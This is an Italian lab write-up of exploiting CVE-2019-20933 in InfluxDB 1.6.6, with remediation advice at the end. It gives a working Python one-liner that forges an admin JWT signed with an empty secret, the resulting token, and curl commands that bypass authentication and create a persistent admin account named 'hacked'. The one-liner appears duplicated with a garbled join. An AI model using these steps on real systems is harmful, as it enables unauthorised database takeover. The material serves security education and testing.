LAB 5-CVE-2019-20933

I. ANALISI DEL SISTEMA

Identificazione della Superficie d'Attacco

Iniziando con ciò che è in esecuzione nell'ambiente. Elenco tutti i container attivi:

docker ps

La vittima espone una singola porta: 8086.

Attualmente, non ho informazioni dettagliate sul target. Dall'output di docker ps, il sistema espone solo un servizio notevole esternamente sulla porta 8086, che è mappata al servizio all'interno del container. Questa è la superficie d'attacco principale da analizzare.

Invece di accedervi immediatamente tramite browser, procediamo a identificare il servizio usando Nmap per determinare quale servizio è in esecuzione sulla porta 8086:

nmap -sV -sC -p 8086 192.168.3.137

I risultati della scansione mostrano che la porta 8086 è il servizio HTTP di InfluxDB OSS 1.6.6. Questo è un database time-series esposto tramite un'API HTTP, non una tipica applicazione web.

Analisi Riflessiva Post-Identificazione

InfluxDB è un database time-series open-source scritto in Go. A differenza di RDBMS (ottimizzato per transazioni precise) o Elasticsearch (ottimizzato per ricerca testuale), InfluxDB è stato creato con un unico scopo: Gestire volumi massivi di scrittura (Alto Throughput di Scrittura) e interrogare i dati lungo l'asse temporale con bassa latenza.

Poiché il servizio è stato identificato come InfluxDB, il passo successivo è fare riferimento a come InfluxDB comunica con i client. Secondo la documentazione dell'API HTTP InfluxDB v1, la porta 8086 è la porta API HTTP predefinita. Gli endpoint importanti includono:

• /ping: verifica lo stato operativo del server.
• /query: invia interrogazioni InfluxQL per leggere metadati o dati.
• /write: scrive dati time-series nel database.

⇒ Riflessione: Dopo che Nmap identifica il servizio come InfluxDB http admin 1.6.6, non continuiamo a testarlo come un sito web standard. Per le applicazioni web, cerchiamo tipicamente rotte, moduli di login o directory. Tuttavia, con InfluxDB, la superficie d'attacco risiede nell'API HTTP. Pertanto, dobbiamo passare al test degli endpoint API standard di InfluxDB per determinare se l'API richiede autenticazione. Di conseguenza, la prossima direzione di test non è accedere a / tramite browser, ma inviare richieste direttamente agli endpoint API di InfluxDB.

Analisi del Comportamento dell'API e Identificazione dei Target di Autenticazione

Verifica dell'Endpoint /ping

Dopo aver identificato la porta 8086 come API HTTP di InfluxDB, verifica l'endpoint /ping per confermare che il servizio sia operativo:

curl -i <http://192.168.3.137:8086/ping>

Risposta 204 No Content conferma che InfluxDB funziona normalmente. Le intestazioni confermano inoltre la versione del servizio come InfluxDB OSS 1.6.6

Verifica dell'Autenticazione sull'Endpoint /query

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

L'endpoint /query non consente interrogazioni dirette senza credenziali di autenticazione. Ciò conferma che InfluxDB ha l'autenticazione abilitata e blocca tutte le interrogazioni anonime inviate al sistema.

Passo a riflettere: la versione 1.6.6 di InfluxDB ha qualche vulnerabilità che permette di bypassare il meccanismo di autenticazione?

Consultando i database pubblici delle vulnerabilità, le versioni di InfluxDB precedenti alla 1.7.6 sono affette da CVE-2019-20933. Si tratta di una vulnerabilità di Bypass dell'Autenticazione nella funzione di autenticazione di InfluxDB, relativa alla gestione dei token JWT con un segreto condiviso vuoto.

Poiché il target esegue InfluxDB 1.6.6, che è inferiore alla versione corretta 1.7.6, il servizio rientra nell'intervallo di versioni affette.

Si può concludere:

⇒ Riflessione: Inizialmente, l'endpoint /query restituisce 401 Unauthorized, indicando che il meccanismo di autenticazione è attivo. Tuttavia, avere l'autenticazione abilitata non significa sicurezza assoluta. Quando la versione è identificata come 1.6.6, dobbiamo correlarla con CVE noti. I risultati indicano che questa versione rientra nell'intervallo affetto da CVE-2019-20933, il che significa è possibile bypassare il meccanismo di autenticazione che protegge l'endpoint /query. Sulla base di questi risultati di identificazione, la fase di sfruttamento si concentrerà sulla verifica di CVE-2019-20933 generando un token JWT appropriato per bypassare l'autenticazione ed eseguire interrogazioni sull'endpoint /query.

Analisi del Meccanismo della Vulnerabilità (CVE-2019-20933)

La vulnerabilità CVE-2019-20933 si verifica nella funzione authenticate all'interno del file services/httpd/handler.go di InfluxDB precedente alla versione 1.7.6.

Meccanismo di Autenticazione JWT in InfluxDB

InfluxDB supporta l'autenticazione utilizzando JSON Web Token (JWT) per le richieste API HTTP. Quando riceve una richiesta con l'intestazione:

Authorization: Bearer <token>

InfluxDB eseguirà i seguenti passaggi:

1. Decodificare il token per estrarre Intestazione e Payload.
2. Leggere il valore di configurazione shared-secret dal file influxdb.conf per fungere da chiave segreta per la verifica della firma del token.
3. Se la firma è valida, recuperare il campo username dai claims per determinare l'utente che esegue l'interrogazione.

Il Difetto

Nelle versioni affette, se l'autenticazione JWT è abilitata ma il parametro shared-secret non è configurato, il valore segreto potrebbe essere elaborato come stringa vuota ("").

Il sistema non riesce a validare adeguatamente la robustezza del segreto prima di verificare la firma del JWT. Ciò consente a un attaccante di costruire un JWT personalizzato, firmarlo con un segreto vuoto e quindi impostare il claim username su un account valido nel sistema, come admin se questo account esiste nel laboratorio.

Quando questo token viene inviato tramite l'intestazione Authorization: Bearer <token>, InfluxDB utilizza lo stesso segreto vuoto per verificare la firma. Se la firma corrisponde e il nome utente esiste, la richiesta sarà autorizzata senza richiedere la password effettiva dell'utente.

Il flusso di elaborazione può essere riassunto come segue:

Flusso di sfruttamento a livello logico:

InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds

Riepilogo

Dopo aver compreso il meccanismo della CVE, è necessario correlarlo con il target per evitare di trarre conclusioni basandosi solo sulla versione.

In questo momento, CVE-2019-20933 è identificato come un candidato molto adatto per il target. Tuttavia, per confermare lo sfruttamento pratico, dobbiamo generare un JWT firmato con un shared secret vuoto e trasmetterlo all'endpoint /query.

Se il server accetta questo token e consente l'esecuzione dell'interrogazione, solo allora possiamo concludere che la CVE è stata sfruttata con successo.

II. SFRUTTAMENTO

Creazione Manuale di un JWT Falsificato

Dall'analisi del meccanismo di vulnerabilità sopra, le condizioni per lo sfruttamento sono:

1. Creare un JWT con un username valido nel sistema.
2. Firmare questo token con una chiave segreta vuota ("").
3. Inviare il token tramite l'intestazione Authorization: Bearer <token> all'endpoint /query.

Identificazione della Struttura del JWT da Creare

Un JWT è composto da 3 parti separate da punti: Header.Payload.Signature

Header

{"alg":"HS256","typ":"JWT"}

Payload

{"username":"admin","exp":2147483647}

• username: account target. In questo laboratorio, InfluxDB crea un utente admin predefinito.
• exp: tempo di scadenza del token, impostato estremamente lontano nel futuro (l'anno 2038) per evitare il rifiuto dovuto alla scadenza.

Signature

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Generazione del JWT tramite One-liner Python su Kali

Su Kali, generiamo il JWT completo con un unico comando:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

Otteniamo la stringa:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw

• b64url(): Converte un dict Python in una stringa JSON e la codifica in formato Base64URL (rimuovendo il padding = come da standard JWT).
• hmac.new(b'', ...): Firma il messaggio utilizzando l'algoritmo HMAC-SHA256 con una chiave vuota (b''). Questo è il vettore di sfruttamento: la chiave vuota corrisponde al shared-secret non configurato sul server.
• Il risultato finale è la stringa Header.Payload.Signature conforme allo standard JWT RFC 7519.

Invio del Token all'Endpoint /query per Verificare la CVE

Salvare il token in una variabile d'ambiente e poi inviare una interrogazione SHOW DATABASES:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \

  -H "Authorization: Bearer $TOKEN"

Analisi del Risultato:

• La risposta passa da 401 Unauthorized a 200 OK.
• Il server restituisce l'elenco effettivo dei database presenti nel sistema.
• Ciò dimostra che il JWT firmato con un segreto vuoto è stato accettato dal server, concedendo con successo i permessi di interrogazione.

⇒ CVE-2019-20933 è confermato essere sfruttato con successo sul target. Con un JWT auto-creato firmato con una chiave vuota, abbiamo bypassato completamente il meccanismo di autenticazione e ottenuto accesso alle interrogazioni come admin.

III. POST-SFRUTTAMENTO

Dopo aver bypassato con successo l'autenticazione, procediamo con un post-sfruttamento più approfondito per raccogliere dati sensibili all'interno dei database del sistema. Dai risultati di SHOW DATABASES, il sistema ha 2 database: _internal (il database di monitoraggio interno predefinito di InfluxDB) e sample (il database operativo aziendale).

1. Elencare gli Utenti sul Sistema InfluxDB

curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
  -H "Authorization: Bearer $TOKEN"

Il sistema contiene un solo utente: admin con privilegi amministrativi (admin: true). Ciò conferma che il nostro JWT falsificato ha impersonato con successo l'unico account amministrativo del sistema.

2. Elencare le Misurazioni nel Database _internal

Il database sample non contiene misurazioni (è vuoto). Tuttavia, il database _internal è il database di monitoraggio interno di InfluxDB e contiene sempre metriche di sistema:

curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
  -H "Authorization: Bearer $TOKEN"

Il database _internal contiene 12 misurazioni di monitoraggio interno: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal e write. Queste tabelle memorizzano statistiche operative dettagliate dell'istanza InfluxDB, inclusi i log delle interrogazioni HTTP, le metriche delle prestazioni del database e lo stato del motore di archiviazione.

3. Creazione di un Nuovo Utente Admin

Per dimostrare che l'accesso admin bypassato non è limitato ad azioni di sola lettura ma concede anche accesso in scrittura e amministrativo, procediamo alla creazione di un nuovo account utente con pieni privilegi di amministratore:

curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
  -H "Authorization: Bearer $TOKEN"

La risposta restituisce statement_id: 0 senza un campo error—confermando che il comando CREATE USER è stato eseguito con successo. L'attaccante può ora accedere direttamente utilizzando le credenziali hacked / Dung con accesso completo da amministratore, senza più bisogno del token JWT falsificato.

⇒ Questo serve come prova più forte che la vulnerabilità CVE-2019-20933 non solo permette l'esposizione dei dati, ma consente anche a un attaccante di prendere il pieno controllo del sistema InfluxDB—incluso il provisioning degli utenti, la distruzione del database e le modifiche alla configurazione di sistema.

Valutazione dell'Escalation dei Privilegi e dell'Impatto sul Sistema

A differenza delle vulnerabilità di esecuzione remota di codice (RCE) che mirano direttamente al livello del sistema operativo (come nel Lab 3), CVE-2019-20933 confina il suo ambito di impatto all'amministrazione a livello di database. Tuttavia, la gravità rimane criticamente alta a causa di:

• Perdita Completa di Riservatezza: Gli attaccanti possono estrarre tutti i dati sensibili presenti in InfluxDB, inclusi metadati di sistema e configurazioni dell'ambiente container.
• Perdita Completa di Integrità: Gli attaccanti hanno pieni permessi per modificare, eliminare o iniettare dati fraudolenti—come dimostrato dalla creazione riuscita dell'utente hacked con pieni privilegi amministrativi.
• Persistenza: Dopo aver creato l'account amministrativo, l'attaccante può stabilire una persistenza, autenticandosi utilizzando la Basic Auth standard senza dipendere dal JWT falsificato personalizzato.
• Potenziale per Movimento Laterale: Le informazioni raccolte (come i nomi host dei container e l'architettura del database) possono essere utilizzate come arma per pivotare e colpire servizi adiacenti all'interno della sottorete Docker.

IV. VALUTAZIONE DEL RISCHIO E RACCOMANDAZIONI DI REMEDIATION

Valutazione del Rischio

Raccomandazioni di Remediation

Per rimediare completamente a questa vulnerabilità di sicurezza critica, gli amministratori di sistema dovrebbero implementare prontamente le seguenti contromisure:

Misure Immediati (Breve termine):

1. Imporre una Configurazione del Segreto Condiviso Robusta Se l'aggiornamento non è immediatamente fattibile, modificare il file di configurazione influxdb.conf per definire un segreto condiviso lungo, complesso e casuale nella sezione [http]: Nota: Riavviare il servizio InfluxDB dopo aver modificato la configurazione affinché le modifiche abbiano effetto.

   root@kitploit:~

   ini
   
   [http]
     enabled = true
     auth-enabled = true
     shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
   

2. Aggiornare l'istanza InfluxDB a una Versione Corretta Aggiornare immediatamente InfluxDB alla versione 1.7.6 o superiore. Gli sviluppatori hanno modificato la routine di autenticazione in queste versioni per rifiutare i token JWT firmati con segreti condivisi vuoti o non sicuri.

Misure di Difesa in Profondità (Lungo termine):

1. Implementare Regole di Segmentazione di Rete
   • Non esporre mai la porta API 8086 a Internet pubblico.
   • Limitare rigorosamente la comunicazione con InfluxDB ai servizi interni autorizzati (come Grafana, Telegraf o applicazioni Backend) utilizzando policy firewall o reti Docker isolate.
2. Utilizzare il Protocollo HTTPS
   • Configurare SSL/TLS per l'endpoint API di InfluxDB per garantire che tutti i dati di telemetria trasmessi (inclusi i token JWT) siano crittografati, eliminando il rischio di raccolta di token tramite intercettazione Man-in-the-Middle (MitM).